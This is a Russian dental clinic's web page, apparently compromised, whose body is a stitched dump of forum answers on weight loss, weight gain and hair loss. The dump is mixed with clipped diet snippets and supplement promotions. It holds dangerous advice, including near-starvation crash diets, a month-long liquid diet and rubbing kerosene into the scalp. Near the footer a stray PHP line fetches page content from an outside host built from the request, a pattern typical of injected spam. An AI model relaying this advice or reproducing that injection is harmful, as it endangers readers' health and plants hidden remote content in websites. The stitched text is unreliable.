Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

А как вы худеете? что едите как едите чем занимаетесь

Мы не худеем.. . наоборот - к зиме массу наедаем...

Поменьше мяса с гарниром и побольше пешком ходить! Мне помогает

У меня в коллегах работала одна дама.. . она все время, ( на моей памяти уж лет 15..) худела.. . ела какие-то сухие смеси, хлебцы, запивала травами, принимала таблетки.. . как была в одном весе, так с таким весом и ушла на пенсию.. . потом как-то встретила ее: такая же веселая, такая же пышненькая, и все так же худеющая на помидорах и морковке.. . и я сделала для себя открытие! худеющие дамы, сидящие на диетах - это просто их стиль жизни! они никогда не похудеют, и не поправятся слишком сильно, разброс максимум в 5 кг.. . но осознание себя, борющейся с лишним весом - это как накрасить губки при выходе погулять!
У мужика жена начала полнеть и пошла посоветоваться к врачу. Вернулась и рассказывает:
- Ничего страшного. Врач сказал, надо больше двигаться.
Например, два раза в неделю ходить до райцентра и обратно.
- Мань, тяжело до райцентра-то. Может, можно еще чего попробовать?
- Ну, врач сказал, можно нам с тобой сексом два раза в день заниматься.
- Мань, тут до райцентра рукой подать…

Я выбрала быструю диету, вот ее меню:
Первый день диеты: Всего одна бутылка минеральной воды, которую следует поделить на шесть порций приема. Можно так же делить минералку на четыре прима.
На второй день этой не легкой диеты, вам можно выпить 0.8 литра молока, на протяжении всего дня, а в 8-9 вечера скушать одно яблочко.
В третий день повторяем «рацион» первого дня. Одна минералка на весь день.
Когда настанет четвертый день диеты, вам уже можно будет побаловать себя овощами. Пусть это будет салат из всевозможной зелени, свежей капусты и моркови. В салат можете добавить 1 столовую ложку растительного масла и разделить прием салата на три раза. Так же в этот день можно выпить 2 стакана воды или заменить ее на несладкий чай.
На пятый день придерживаемся графика и употребляем все тех же 0.8 литра молока на протяжении этого дня.
А вы думали, что будет так просто похудеть на 10 кг за неделю? Конечно же это не просто, но вы уже перевалили за пол пути. На очереди у нас шестой день, в который можно будет уже нормально питаться:
На завтрак: Варим яйцо и пьем полчашки чая. В 11 утра употребляем стаканчик овощного отвара. Но пьем лишь сам бульон, который готовим из любых свежих овощей (моркови, капусты, картошки) .
На обед пируем: Можно скушать 100 гр. Говядины и 100 гр. консервированного зеленого горошка. Ближе к вечеру, на полдник скушайте яблоко.
На ужин съешьте еще одно яблоко и ближе к ночи можете позволить себе еще одно яблоко.
И на последний седьмой день диеты рацион так же вас не порадует: Это будет 100гр. творога, а так же стакан молока, который вы с легкостью можете поменять на стакан кефира. Вечером можно выпить только один стакан не сладкого чая.

То худею, похудев, начинаю сладости лопать, безумно уж их хочется, потом опять питаюсь правильно. Я теперь с утра ем овсянку, прихожу из универа, ем салат из огурцов и помидоров с курицей или сосиской, вечером фруктики. Ну а после 6 кефир, иногда яблочко. Пью воду и зеленый чай. Дома холодно, поэтому горячий чаек-это замечательно)
еще обруч кручу. на упражнения не хватает силы воли, раньше занималась, потом перестала)

Утро - овсянка) добавляю яблоки, в обед - овощной суп, или овошной салат, вечер (около 5) - рисовая, гречневая каша.
не ем соли, сладкого, мучного, специи, молочное, из фруктов ем только яблоки, зелёный чай. вот сегодня 4-ый день диеты) ) трудновато, но чтоб после 6-ти не есть, я уже привыкла) ) на диете нужно 15 дней.... но мне кажется что я уже привыкаю к такому питанию. . и буду питаться так всегда. . может после диеты добавлю какие то продукты в рацион)

Никого не волнует, что ты ешь, никого не волнует, как ты выглядишь, но когда ты изменишься, ты взволнуешь многих!

2 месяца-минус 13,5 кг, раздельное питание, исключила всё сладкое, мучное, майонез, полуфабрикаты, влезла в джинсы которые 3,5 года и на бёдра не налазили-вот это самый классный стимул

«Добрый день! После родов я поправилась на 30 кг, с 60кг у меня стало 90...Было очень тяжело и ходить и дышать.. . Я даже пробовало разные таблетки, да помогло мгновенно, но это не надолго и вес набирается в 2 раза быстрее после того как перестаешь пить. Самый лучший способ это раздельное питание и спорт. Я не изнуряла себя в тренажерном зале. Результаты меня поразили. Они не мгновенные, через месяц я увидела первые скинутые килограммы. За год сидя на раздельном питании я скинула весь лишний вес. Уже год я на ней на сижу, и не единого грамма я не набрала. Удачного дня)
(Если Вам нужны личные рекомендации пишите отвечу на все вопросы)
Адрес моего блога:
С ув. Свинцицкая. Е. О»

Вроде должна худеть - а вес ни с места! ПОМОГИТЕ!

Смени весы.

А вам что важней. Внешние изменения или внутренние? Можно весить 40 кг, а выглядеть на все 60.

О-о-о, блин... я вешу, а она не хочет (шутка) . Давно ли сидишь на диете? Может рановато еще. И, кстати, по одежде не смотрела?

Вы явно похудели .Просто укрепили мышечную массу. Это естественно, зато вы сожгли лишние жиры. Исключите плаванье-это уже не нужно.

Вы уже в дефиците веса, скидывать очень сложно и тяжело.. оно вам надо? вы и так в норме

Скороее всего уходит ни вес а объёмы, продолжай

Причина избыточного веса – избыточное накопление жира в организме и отложение его в подкожной клетчатке и других тканях и органах. В основе этого лежит нарушение обмена веществ, когда процессы образования жира преобладают над процессами его распада. Очень часто избыточный вес вызывают заболевания эндокринной системы, беременность.
Нетрадиционные и народные методы лечения:
1)Пить морковный сок по 1 столовой ложке 3 раза в день до еды.
2)Пить свежий картофельный сок в смеси с морковным и капустным соками.
3)Пить по 0,5-1 стакану свежего сока тыквы несколько раз в день.
4)Взять 50гр. ягод можжевельника и 1 головку очищенного и измельченного чеснока, залить 1л. белого виноградного вина, настоять в темном прохладном месте 5 дней, периодически встряхивая содержимое, процедить. Пить по 3 столовых ложки 1-2 раза в день сразу после еды.
5)Взять в равных частях цветки бузины, траву фенхеля, цветки ромашки, цветки липы и лист мяты перечной ( все продается в аптеке) . Залить смесь кипятком в соотношении 1:20, варить 15 минут на водяной бане под крышкой, настоять 45 минут при комнатной температуре и процедить. Принимать по 1 стакану 1-2 раза в день.
6)Смешать 1 головку чеснока, сок 1 лимона и 100гр. меда. Настоять в закрытой посуде в темном месте 2 дня, периодически встряхивая. Принимать 1 раз в день по 2 столовых ложки. Дни не пропускать.
7)1 столовую ложку меда растворить в 0,5 стакана кипяченой воды, охлажденной до комнатной температуры, и выпить утром натощак. После этого 2 часа ничего не есть. Вечером за 2 часа до сна снова выпить натощак раствор меда.
8)Сухие цветки липы измельчить в кофемолке в порошок. Принимать по 1 чайной ложке порошка 3 раза в день. В месяц наблюдается снижение веса на 5-6кг.
9)Взять 3 горсти овсяных хлопьев. 0,5л. воды и 50гр. ржаного хлеба. Хлопья с вечера залить холодной кипяченой водой. Положить корочку или ломтик хлеба. Накрыть посуду крышкой и оставить на 12 часов в теплом месте. Утром настой процедить и довести до кипения. Постоянно перемешивая. Принимать по 1 стакану за 10 минут до еды без сахара.
Восточная диета для похудения.
Диета рассчитана на 10 дней. При строгом соблюдении диеты человек теряет за этот период 5-6кг. веса.
8.00. – чашка чая или кофе с кусочком сахара.
11.00. – яйцо сваренное вкрутую, и 8 ягод чернослива.
14.00. – 200гр. отварного костного мяса (можно иногда заменить молочными сосисками) и 100гр. гарнира из капусты или моркови, яблоко или апельсин.
17.00. – 30гр. сыра, яблоко или апельсин.
20.00. – стакан кефира или простокваши.
На этой диете у меня за месяц ушло 13 килограмм.
Общие рекомендации:
1)Избегать употребления в пищу картофеля с жирами и мясом.
2)Стараться есть картофель с кожурой: пареный, тушеный, в похлебках, особенно хорошо печеный в духовке или на углях.
3)Свежий хлеб заменить сухарями из черного хлеба, содержащего отруби (можно бородинский) .

Уважаемая, Евгения!
Могу Вам порекомендовать
"Основную программу коррекции избыточного веса при помощи БАД Тяньши. "
Первый этап - очищение кишечника, сосудов, связывание жиров и выведение их организма.
1. Чай для похудения - заварить 1 пакетик на 250 мл кипяченой воды. Принимать через 30 минут после еды 2 раза в день.
2. Triestop Classic-Растительная Эссенция для похудения (таблетки) - принимать до еды по 2 таблетки 3 раза в день, тщательно разжевывая. Запивать 1/2-1 стаканом теплой воды.
3. Triestop Instant-Растительная Эссенция для похудения (порошок) - пакетик растворить в 1 стакане теплой воды. Принимать после еды или во время максимальной активности меридианов толстого и тонкого кишечника с 5 до 7 часов и с 13 до 15 часов ежедневно.
4. Масло Энотеры - по 2 капсулы 2 раза в день во время еды, запивая 0,5-1 стаканом теплой воды.
Курсовая доза – 1 месяц.
Второй этап – удаление слизи, изгнание сырости, восстановление нарушенного липидного обмена, связывание жиров и выведение их организма.
5. Биокальций - по 1 кофейной ложечке на 250 мл воды, принимать утром за 30 минут до завтрака, пить небольшими глотками.
6. Биоцинк - по 2 капсулы за 30 минут до ужина, запить 250 мл воды.
7. Digest Natural - принимать после приема пищи утрoм и в обед, хорошо разжевывая по 2 таблетке. Запить 1 стаканом воды.
8. Хитозан - по 3 капсулы перед сном, запить 1 стаканом воды.
Курсовая доза – 1 месяц.
Третий этап – поддержка Ци (энергии организма) , укрепление селезенки, восстановление липидного обмена, сжигание «запасных» жиров и снижение массы тела.
9. Жир Угря - по 2 капсулы 2 раза в день за 30 минут до еды, запить водой.
10. Гинкго-Билоба - 0,5 таблетки утром за 30 минут до еды, запить водой.
11. Масло Чеснока - по 2 капсулы утром за 30 минут до завтрака, запить 1 стаканом воды.
12. Таблетки Мака - Укрепляющее Средство Тяньши - по 2 таблетки 2 раза в день, за 30 минут до еды утром и вечером.
Курсовая доза – 1,5 месяца.
Продолжительность данного курса – 3,5 месяца.
В течение года проводят 2 курса.
Каждый организм индивидуален, поэтому может быть у Вас все пойдет значительно быстрее (судя по возрасту - организм не очень зашлакован) .
Основные рекомендации по питанию во время лечения и после него:
во время лечения пить жидкости не менее 2-х литров в день;
ограничить употребление сладкой, жирной, калорийной пищи, а также изделий из белой муки;
eсть хлеб из муки грубого помола или с отрубями;
50% продуктов ежедневного меню заменить на овощи и фрукты;
пить больше свежевыжатых соков;
расширить свой рацион за счет этих продуктов питания:
морская капуста, кукуруза, гречиха, овес, ячмень, соевая мука, белокочанная капуста, кабачок, огурец, помидор, баклажан, тыква, редька, петрушка, сельдерей, фасоль, арбуз, груша, лимон, мандарин, грецкие орехи, подсолнечное и кукурузное масло.
Старайтесь придерживаться частого, дробного питания небольшими порциями.
Рекомендовано применение Аппаратов Тяньши:
1. Пояс для похудения;
2. Массажер для ног;
3. Биоэнергетический Оздоровительный Матрац
Если возник интерес, пишите, помогу!
С уважением, Наталья Викторовна

Весы поменяйте или батарейки! Это дело может быть в них!

Та же ерунда, животик и бока подтянулись, (занимаюсь каждый день, делаю массаж, лежу на иголках, раз в неделю сауна, ем мало) а кг как были так и остались неизменными, меня это уже бесит, может правда мышцы потяжелели, главное не отчаиваться и продолжать в том же духе.

Вес то у тебя какой его наверняка тебе уже не хватает а ты худеть худеть

Расскажите а как похудели Вы?Что ели и пили?

Не ешь углеводную пищу. я похудел за год на 20кг.

Белковое меню английской диеты Завтрак ломтик зернового хлеба, половина чайной ложки м да, чашка несладкого зел ного чая.Далее следуют 2 овощных дня. С этого времени каждое утро перед едой выпивайте стакан т плой кипяч ной воды с добавлением лимонного...

Я похудела на 8кг. Не ем жаренного, копченого, алкоголя. За 6 месяцев

Всю жизнь занимаюсь спортом, не курю, не бухаю и я вегетарианец.

За полгода я похудела на 5 кг, отказалась от хлеба, тем более от белого, чай пью только зелёный, делаю упражнения! Больше фруктов и овощей!

Жидкая диета.
4 кг в неделю - испытано на себе. Действует отлично, очищает организм, чувство голода через пару дней исчезает. Очень рекомендую, это лучшая диета, на мой взгляд.
Заменив привычную «твердую» пищу на молоко, соки, бульоны и отвары, вы не только избавитесь от лишнего веса, но и очистите свой организм от токсинов и шлаков. Такое питание как нельзя лучше подходит для начала длительной программы похудения. Однако поскольку жидкая диета оказывает мочегонное действие, придерживаться ее более двух недель не рекомендуется.
Потерять можно 10-15кг
МЕНЮ
Овсяный отвар Полстакана овса или овсяных хлопьев прокипятить в 1 л воды, отвар процедить. (1 стакан - 5 очков)
Овощной сок, смешанный в пропорции 1:1 с кипяченной водой (1 стакан – 10 очков)
Фруктовый сок, на треть разбавленный водой (1 стакан – 20 очков)
Молоко – не более 2% жирности (1 стакан – 20 очков)
Кефир (1 стакан – 10 очков)
Некрепкий обезжиренный мясной бульон, процеженный и несоленый (1 стакан – 20 очков)
Слабый компот без сахара (1 стакан – 5 очков)
Овощной отвар без соли (1 стакан – 5 очков)
Желательно ежедневно выпивать «весь список» , но начинать день необходимо с овсяного отвара. А вот перед сном идеален кефир. Вместе с чистой водой, чаем и кофе без сахара объем потребляемой жидкости не должен превышать 3 л. При этом старайтесь, чтобы общая сумма «выпитых очков» оставалась в пределах 100-130.
Очень важно правильно «выйти» из диеты. В 1-й день разрешается есть только отварные овощи в небольшом кол-ве. На 2-ой день помимо отварных овощей позвольте себе 1 тарелку жидкой каши, 1 ломтик хлеба, а на ужин – сырую капусту и морковь. На 3-й день можно питаться как обычно, единственные ограничения – ничего жирного, а хлеба – не более 2 кусочков.
ПРИ ЖИДКОЙ ДИЕТЕ ПОТЕРЯ ВЕСА БОЛЬШЕ, ЧЕМ ПРИОБЫЧНОЙ ДИЕТЕ ТОЙ ЖЕ КАЛОРИЙНОСТИ И СОСТАВЛЯЕТ НЕ МЕНЕЕ 3 КГ В НЕДЕЛЮ
Если с лишними кг хочется расстаться немедленно, посидеть на жидкой диете вы можете и подольше, но не более 1 месяца. Тогда общее кол-во набранных очков нужно снизить до 80, а перед ночным кефиром необходимо съедать салат.
Вот его рецепт: смешайте нашинкованную капусту, тертую морковь, рубленные грецкие орехи, курагу, отварной рис. И раз в неделю – банан.

Диеты -это не для меня, силы воли не хватит да и все потом назад возвращается, тем более с мужем после работы в 9 ужинаем. Но выход есть, может вам подойдет. Весов у меня нет, но есть сантиметр. Так вот когда я поняла что не во что не влазию (в смысле вещей) , да не просто, а даже на выдохе не сходится, поняла, что надо что-то делать. Дело было в начале марта, в Яндексе нашла "Цигун для похудения"ведет Лана Анатоль. Это гимнастика прям для ленивых, для меня то есть) ) Так вот 3 раза в неделю стала делать - талия с 84 см стала 78 см, (в кг не знаю) и это не предел. Это чуть больше месяца получается занимаюсь. При этом на ночь так и ем, может поменьше только. И еще интересное наблюдение - после гимнастики апепетит снижается, вместо обеда можно делать. Рекомендую))

Есть два варианта меню английской диеты на 21 день.А во-вторых, рассмотрим уже такое меню, которое предполагает чередование белковых, мясных, овощных и голодных дней.

Варишь овошной суп: побольше капусты, лук, помидоры, в конце добавляешь приправу (кубик или "Вегетту"). И целый день 2 недели подряд кушаешь только этот супчик сколько захочешь + вода, зелёный чай. Ещё поливитамины какие-нибудь. Худеется моментально. Тут главное, чтобы не слишком быстро. Следишь за весом и понемногу после 2-х недель начинаешь добавлять мяско нежирное, кефир, творог. . плюс этой диеты в том, что 1) не чувствуешь себя голодной, как например от ябок или кефира, 2) быстрый результат. (Минус 24 кг за 5 месяцев)

Я изменила своё меню. утром в обед и вечером (до 18) съедаю по 1 тарелочке овсянки. (у меня 4 гуппа крови, поэтому только овсянка мне и подходит) а кроме каши, ем фрукты (но не бананы), овощи, пью зелёный чай. (с мёдом!!!) знакомая похуделана 15 кг. за 1,5 мес. И вообще я уже давно отказалась о сахара, конфет и хлебобулочных изделий, и я не мучаюсь. мне совершенно не трудно.

Читайте лисси мусса 3000 способов похудеть или делаем из тушки фигурку

Кто на каких диетах сидел, как результатики, поделитесь.

Они не работают, только через пот. Проверенно лично ооочень много диет.

Меню для английской диеты на 21 день. Основная схема диеты 2 голодных дня 2 белковых дня 2 овощных дня далее чередуем по 2 дня белковые и овощные дни, голодных дней больше не будет.

После рождения второго ребенка, поправилась безумно. Сидела на кефире раз в месяц. Диета такая: Первые три дня- кефир+чай без сахара+минеральная вода (все-в любом количестве) Следующие три дня- грудка, сваренная без соли, минеральная вода, чай без сахара (тоже в любом количестве) , последние три дня- фрукты (кроме хурмы, можно бананы, но немного) + чай + вода-в любом количестве. И такую раз месяц себе устраивала, месяцев пять подряд. Потом, когда на кефир и грудку уже не могла смотреть, летом сидела две недели на японской. Сбросила очень хорошо, и после нее еще худела по инерции. Там меню на каждый день расписано, не удобно, но привыкаешь. В общем за год я скинула 20 кг, осталось еще пять, и я буду такой, какой была до родов. Во как))

Я сидела на: гречневой диете, диете протас. , моно-диете, кефирной диете, подсчет калорий, голодании. ИТОГ: пропали месячные, начальная стадия анорексии. Спасибо диетам! ;)
Лучше всего скакалка помогает для ножек, для животика обруч. Лучше всяких диет! удачи вам.
ах, да.. . попробуйте просто разгрузиться недельку на питьевой диете (просто пройдет чистка) . Уйдет около 5кг и улучшится самочувствие

Попробуйте пить раз в день кефир с добавлением корицы и имбиря, помогает разогнать обменку. Не можете отказать себе в чем то вредненьком, съешьте это до 12 часов дня. Я в свое время влюбилась в овошные смеси, постоянно готовила их в пароварке, а если запечь их в духовке слоями с низкокалорийным майонезом разведенным обязательно кипяченой водой, то это неплохая альтернатива второму блюду. Очень сытно, вкусно и полезно. Не бойтесь есть 5-6 раз в день, просто накладывайте себе маленькие порции и ешьте не спеша. У меня не было очень большого веса, но есть некоторая предрасположенность наследственная. Пока довольна своим телом, хотя конечно не идеал)))

Очень выпадают волосы, подскажите средство?

Клей

Меню овощной диеты. Существует несколько версий овощного меню. Вариант 1. Продолжительность 7 дней. Отвес до 7 кг. Правила На каждый день выбираем 2-3 вида овощей.

ВЫПАДЕНИЕ ВОЛОС - РЕЦЕПТЫ
# Втирать луковый сок с коньяком и отваром корней репейника. Очень хорошее средство. На одну часть коньяка следует брать четыре части лукового сока и шесть частей отвара корней репейника. Для этой же цели зачастую натирают голову разрезанной луковицей и втирают хорошего качества керосин. # От сухой экземы головы и выпадения волос один раз в неделю вымыть голову теплой водой и натирать голову горстями поваренной соли примерно в течение 15 минут. Затем голову прополоскать этой же теплой водой. Считается, что шести промываний и натираний головы солью вполне достаточно, чтобы сухая экзема и выпадение волос прекратились.
# Стакан сбора из равных частей коры дуба и шелухи репчатого лука заливают 1 литром кипятка и держат на огне 1 час. Отвар процеживают и добавляют мякоть черного хлеба до получения кашицы. Теплую смесь втирают в кожу головы, затем покрывают полиэтиленовой шапочкой и держат 1-2 часа, после чего волосы прополаскивают теплой водой и сушат на воздухе. Периодичность - 1 раз в неделю.
# Для стимуляции роста волос используют свежий сок листьев алоэ, приготовленный по методу «биологического стимулирования» . Его суть: нижние и средние листья алоэ срезают, промывают кипяченой водой, просушивают, заворачивают в бумагу и помещают в холодильник на 12 суток. Затем здоровые листья (почерневшие выбрасывают) измельчают, сок выжимают через марлю и втирают 1-2 раза в неделю в кожу волосистой части головы.
# Стимулирует рост волос кашица или сок лука репчатого, чеснока. Их втирают в кожу за 1 час до мытья головы.
# Положительный результат дает наружное применение чаги (березовый гриб) . Готовый раствор под названием Бефунгин продается в аптеках.
# При выпадении волос с большим успехом в народной медицине используется настойка красного стручкового перца, который по содержанию витаминов занимает одно из первых мест среди овошных культур. Он вызывает прилив крови к коже головы. 1 часть перца залить 10 частями 70-градусного спирта, настоять 6-7 дней и процедить. Затем настойку развести в 10 частях кипяченой воды и 2-3 раза в неделю, желательно на ночь, втирать в кожу волосистой части головы.
# Рецепт королевы Англии. 200 г горьких яблок натереть и настоять 3 дня в бутылке рома, процедить и протирать ежедневно корни волос. Волосы начинают лучше расти, становятся гуще и светлее.
Если волосы сухие, повреждены краской и химической завивкой, вот-вот начнут выпадать, можно воспользоваться следующим рецептом
# смесь из 1 cm. ложки алоэ, 1 cm. ложки меда и 1ч. ложки касторового или репейного масла втирать в корни волос за 30-40 минут до мытья головы.
К прекращению выпадения волос приводит смазывание кожи головы 5-10-процентным водочным раствором настойки софоры. Софора японская хорошо известна жителям южных районов как декоративное растение. Для лечения берут бобы, заливают 70-процентным спиртом в соотношении 1:1. Настаивают 21 день в темном месте, процеживают. Сухие плоды настаивают на водке 1:2, применяют так же. Хранят настойку в сухом, темном, прохладном месте.

Хорошее настроение ваших волос
Стрессы и усталость - частая причина заболевания и выпадения ваших волос. Не секрет, что здоровье организма во многом зависит от душевного состояния человека. Волосы начинают ослабевать, становятся ломкими и сухими, если вы постоянно находитесь в состоянии тревоги или злитесь, недосыпаете или переутомляетесь. При этом сильно нарушается обмен веществ в организме, ухудшается питание корней волос, что может вызвать более серьезные заболевания кожи головы. Поэтому порой лучшими средствами для лечения ваших волос могут являться полноценный ежедневный сон, правильное питание и хорошее настроение.
Питание волос
Питание - один из самых важных факторов, влияющих на здоровье ваших волос. Поэтому особое внимание следует уделить вашему ежедневному рациону. Будьте осторожны при выборе оздоровительных диет. Чтобы ваши волосы всегда оставались красивыми и здоровыми, вам необходимо включить в меню продукты, содержащие большое количество витаминов группы А, В, С и D.
Сложнее всего организм усваивает витамин В, который необходим для роста и силы волос. Именно с целью поддержания баланса витаминов группы В в организме создавалась формула Специального Драже Мерц Специаль. Вся функция драже состоит в том, чтобы доставить организму этот витамин и способствовать его усвоению. В 2-х драже Мерц Специаль содержится необходимая суточная норма всех необходимых для волос, ногтей и кожи витаминов и минералов.
Типы выпадения волос
Если не поддерживать здоровье волос и всего организма, неправильно питаться и использовать большое количество химических средств укладки, - могут развиться серьезные заболевания волос и кожи головы. В таком случае речь уже не идет об укреплении волос. Вам необходимо комплексное лечение.
Об этом читайте в разделе "Выпадение волос: проблема и ее причины" на нашем сайте www.pantovigar.ru

У меня тоже очень сильно выпадали волосы. Не помогали ни касторовое масло, ни отвар репейника, ни пиво. Помогла соль. Ее надо втирать в влажную кожу головы после мытья. Будет жечь немного, но немного времени и все пройдет. Голову надо укрыть целлофаном, а сверху укутать полотенцем. Оставить на 1 час, затем смыть голову теплой водой без шампуня. Процедуру делать 1 р. в неделю.

Ходи как я.. забот будет меньше

Нужно сходить к трихологу

В целом эта диета очень проста, все меню может найти в своем холодильнике любая хозяйка. Рацион рассчитан таким образом, что в немВо-вторых, диетологи рекомендуют переставить в любимой диете 7 дней местами овощной и фруктовый день, поскольку, по их мнению, входить...

Кто-нибудь знает такую диету, чтобы поправиться?

У меня такая же беда! Мне советовали есть по расписанию, каждый день в одно и тоже время. Сейчас 2-ой месяц не работаю-возвращается размер гр. не могла поправиться 7 лет

Белково-овощная диета меню и схема питания. Питание подчиняется циклам длительностью шесть дней.Итак, с 3 по 6 день соблюдается диета 2 белковых, 2 овощных дня. Итак, в меню должны быть такие продукты

Сам худой как Шерлок. кушать надо даже ночью...

Усиленное лечебное питаниe назначается с учетом формы худобы и состояния организма. .
Если вы страдаете болезнью печени или, точнее, ваш желчный пузырь не справляется со своей ролью в npoцессе пищеварения, выделяя в кишечник слишком мало желчи, вы не сможете пополнеть до тех пор, пока не будет обеспечена полная усвояемость жиров жиров, поступающих в организм с пищей.
Вам не рекомендуется есть яйца, шоколад, колбасные изделия, вареную жирную пищу.
Включайте в свой пищевой рациои побольше сливочного масла и свежей сметаны. Свежая сметана очень хорошо усваивается организмом даже при больной печени.
Хорошо усваиваются организмом изделия из теста, риса. Ваша программа: желчегонные средства, усиленное лечебное питание в определенных врачом пределах, доста­точный полноценный отдых, бальнеотерапия.
Если вы страдаете расстройством пищеварения, целесообразно разделить суточный пищевой рацион на неболь­шие дозы, увеличив число приемов пищи, чтобы не перегружать желудок.
Если причиной вашей худобы является расширение или опущение желудка, мы можем предложить вам режим питания Вейра — Митчела.
Первые три-четыре дня. Исключительно молочный ра­цион. Через каждые два или три часа между 7 и 21 часами выпивают по 250 — 300 г молока.
Последующие два дня. В пищевой рацион дополнительно включают: утром —один яичный желток, взбитый в молоке; в 13 часов — один или два куска хлеба со сливочным маслом, фруктовый компот или фрукты; вечером —молочная каша.
Последующие дни. В полдень съешьте кусок жареного мяса и в качестве гарнира картофельное пюре или овощи. Суточный рацион молока можно уменьшить до 1 л.
В конце второй недели. Усиленный режим питания, в который включены молоко и высококалорийные пищевые продукты.
Чтобы быстро восстановить свои силы, необходимо увеличить содержание белков в суточном пищевом рацион (мясо, яйца, молоко) , причем потребление мяса рекомендуется увеличить не менее чем на 100 г.
Ваша программа: легкое усиленное питание, физические упражнения с постоянно увеличивающейся нагрузкой
Если ваша худоба сопровождается отсутствием аппетита, мы рекомендуем вам режим усиленного питания, богатой белками (включайте, например, в обеденное меню мясо, рыбу, яйца) с постепенным увеличением калорий в суточном рационе. Красиво оформленная, вкусная, разнообразная пища возбуждает аппетит и хорошо усваивается opгaнизмoм.
Нецелесообразно без предварительной подготовки заставлягь свой организм принимать большие количества пищи, это может только усилить его отвращение к еде. Лучше постепенно увеличивать суточное потребление калорий (например, по 300 калории в день) , доведя его до 5000. Этой можно добиться, учитывая свои вкусы и возможности, благодаря хитростям, с которыми мы вас ознакомим.
Ваша программа: средства, стимулирующие аппетит и пищеварение, усиленное питание, достаточный, полноценный отдых, мaccaж, физические упражнения, смена климата.

Роди еще одного и ешь на ночь, может поможет. ;)

Правильно сказали, что пиво. банку крепкого пива перед сном

Кушать на ночь и днем много булочек сладких... Я вот так стараюсь потолстеть... Пару месяцев. Вроде в штаны еле влезаю теперь.... (Кто то к лету худеет... мучаеться.. А мы толстеем!!!!) Удачи тебе....

Меню белково-овощной диеты включает в себя блюда, которые и питательны и витаминизированы.Длительность диеты не должна быть более 20-ти дней, иначе вместо пользы, основа питания принесет значительный вред.

Блин, я неправильно прочла, я не посмотрела, я думала, чтоб наоборот не поправляться, простите.
завтрак - творог с тертым яблоком или овсянка на молоке. 2 куска зернового хлеба.
перекус - отруби, зеленый чай, фруткы.
обед - суп. мясное или рыбное блюдо. тушеные овощи или салат из свежих овощей.
полдник - фрукты, чай
ужин - мясное или рыбное блюдо. овошной салат.
просто ешьте что хотите и всё.

Как востановить волосы, и их колличество

ВЫПАДЕНИЕ ВОЛОС - РЕЦЕПТЫ
# Втирать луковый сок с коньяком и отваром корней репейника. Очень хорошее средство. На одну часть коньяка следует брать четыре части лукового сока и шесть частей отвара корней репейника. Для этой же цели зачастую натирают голову разрезанной луковицей и втирают хорошего качества керосин. # От сухой экземы головы и выпадения волос один раз в неделю вымыть голову теплой водой и натирать голову горстями поваренной соли примерно в течение 15 минут. Затем голову прополоскать этой же теплой водой. Считается, что шести промываний и натираний головы солью вполне достаточно, чтобы сухая экзема и выпадение волос прекратились.
# Стакан сбора из равных частей коры дуба и шелухи репчатого лука заливают 1 литром кипятка и держат на огне 1 час. Отвар процеживают и добавляют мякоть черного хлеба до получения кашицы. Теплую смесь втирают в кожу головы, затем покрывают полиэтиленовой шапочкой и держат 1-2 часа, после чего волосы прополаскивают теплой водой и сушат на воздухе. Периодичность - 1 раз в неделю.
# Для стимуляции роста волос используют свежий сок листьев алоэ, приготовленный по методу «биологического стимулирования» . Его суть: нижние и средние листья алоэ срезают, промывают кипяченой водой, просушивают, заворачивают в бумагу и помещают в холодильник на 12 суток. Затем здоровые листья (почерневшие выбрасывают) измельчают, сок выжимают через марлю и втирают 1-2 раза в неделю в кожу волосистой части головы.
# Стимулирует рост волос кашица или сок лука репчатого, чеснока. Их втирают в кожу за 1 час до мытья головы.
# Положительный результат дает наружное применение чаги (березовый гриб) . Готовый раствор под названием Бефунгин продается в аптеках.
# При выпадении волос с большим успехом в народной медицине используется настойка красного стручкового перца, который по содержанию витаминов занимает одно из первых мест среди овошных культур. Он вызывает прилив крови к коже головы. 1 часть перца залить 10 частями 70-градусного спирта, настоять 6-7 дней и процедить. Затем настойку развести в 10 частях кипяченой воды и 2-3 раза в неделю, желательно на ночь, втирать в кожу волосистой части головы.
# Рецепт королевы Англии. 200 г горьких яблок натереть и настоять 3 дня в бутылке рома, процедить и протирать ежедневно корни волос. Волосы начинают лучше расти, становятся гуще и светлее.
Если волосы сухие, повреждены краской и химической завивкой, вот-вот начнут выпадать, можно воспользоваться следующим рецептом
# смесь из 1 cm. ложки алоэ, 1 cm. ложки меда и 1ч. ложки касторового или репейного масла втирать в корни волос за 30-40 минут до мытья головы.
К прекращению выпадения волос приводит смазывание кожи головы 5-10-процентным водочным раствором настойки софоры. Софора японская хорошо известна жителям южных районов как декоративное растение. Для лечения берут бобы, заливают 70-процентным спиртом в соотношении 1:1. Настаивают 21 день в темном месте, процеживают. Сухие плоды настаивают на водке 1:2, применяют так же. Хранят настойку в сухом, темном, прохладном месте.

Меню творожного дня диеты 6 лепестков На пятый день диеты используется творог, еще один важный диетический продукт.Меню фруктового дня диеты 6 лепестков За время диеты вы соскучитесь по овощам.

Марина, ты уже в преклонном возрасте, судя по аватарке. Тебе и так сойдёт.

Нужно втирать в голову, вещества стимулирующие рост волос, они делают приток крови к коже головы) ) К таким веществам относится: перцовая настойка, сок лука и коньяк) ) Можно делать различные маски: например яйцо+ оливковое масло+ 2 ст. ложки коньяка)))

Меню овошных дней при диете
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта